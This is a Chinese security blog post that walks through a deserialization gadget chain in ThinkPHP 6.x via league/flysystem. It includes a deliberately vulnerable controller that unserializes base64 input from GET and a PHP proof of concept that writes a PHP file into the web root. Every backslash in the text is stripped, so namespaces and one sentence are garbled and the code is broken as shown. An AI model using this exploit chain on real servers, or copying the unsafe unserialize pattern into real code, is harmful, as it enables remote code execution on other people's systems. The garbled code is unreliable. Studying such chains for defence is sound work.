环境准备
安装ThinkPHP 6.0
composer create-project topthink/think=6.0.x-dev v6.0
修改application/index/controller/Index.php 的代码
class Index
{
public function index()
{
$payload = unserialize(base64_decode($_GET['payload']));
return 'ThinkPHP V6.x';
}
}
开启ThinkPHP6调试
将根目录.example.env更改为.env,文件中添加:APP_DEBUG = true
POP链分析
__destruct()
pop链的起点与前面的利用方式相同,都是/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 中__destruct() 方法中的 save()
Adapter
第二步也同样是寻找继承了 AbstractCache
的类,我们选择的是 vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php 中的 Adapter
类
save()
分析 Adapter
类中实现的 save()
方法
$contents
是 getForStorage()
函数的返回值,跟进此函数
getForStorage()
执行了 cleanContents()
方法,跟进此方法
cleanContents()
由于当前类中没有 cleanContents()
方法,所以我们在父类 Adapter
中查找
发现了和上一篇文章中相同的代码,只进行了数组合并,传入的数组原样返回,$contents
来源于 $this->cache
。
我们通过$this->cache
传入数组,经过 getForStorage()
中的 json_encode
处理后,返回json给 save()
中的 $contents
。此处先行提示,$contents
包含了写入文件的内容。
回到save()
我们已经分析了 $contents
,下面我们分析if else逻辑。我们需要利用write
方法写文件,要触发 write
方法我们需要让has方法返回false。
由此,我们需要寻找一个有 has
和 write
方法的类。
vendor/league/flysystem/src/Adapter/Local.php 中的 Local
类符合要求
Local类
跟进has()
执行 applyPathPrefix()
返回给 $location
,继续跟进 applyPathPrefix()
applyPathPrefix()
当前类中不存在 applyPathPrefix()
,所以我们去Local 的父类 AbstractAdapter
中寻找
applyPathPrefix()
调用了前面的 getPathPrefix()
getPathPrefix()
getPathPrefix()
返回的是 $this->pathPrefix
的值,pathPrefix
可控,ltrim
函数去除file
左侧的/和,于是我们可以直接传入一个文件名,然后控制pathPrefix
为路径部分。
回到has()
执行file_exists函数,我们只需要保证传入的文件名不存在即可使has返回false
write()
$location
来源于$this->file
传入applyPathPrefix
处理后的文件名,$contents
即经过json_encode
处理后带有文件内容的json
数据
POC
<?php
namespace LeagueFlysystemCachedStorage{
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ["test"=>"<?php phpinfo();?>"];
}
}
namespace LeagueFlysystemCachedStorage{
use LeagueFlysystemCachedStorageAbstractCache;
class Adapter extends AbstractCache
{
protected $file;
protected $adapter;
public function __construct($adapter="")
{
$this->file = "think\public\test.php";
// 需要根据系统以及配置修改路径写法
$this->adapter = $adapter;
}
}
}
namespace LeagueFlysystemAdapter{
class Local
{
protected $writeFlags = 0;
}
}
namespace{
$local = new LeagueFlysystemAdapterLocal();
$cache = new LeagueFlysystemCachedStorageAdapter($local);
echo base64_encode(serialize($cache));
}
?>
长按识别二维码,求关注求点👍
本文始发于微信公众号(宽字节安全):ThinkPHP 6.x反序列化POP链(三)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论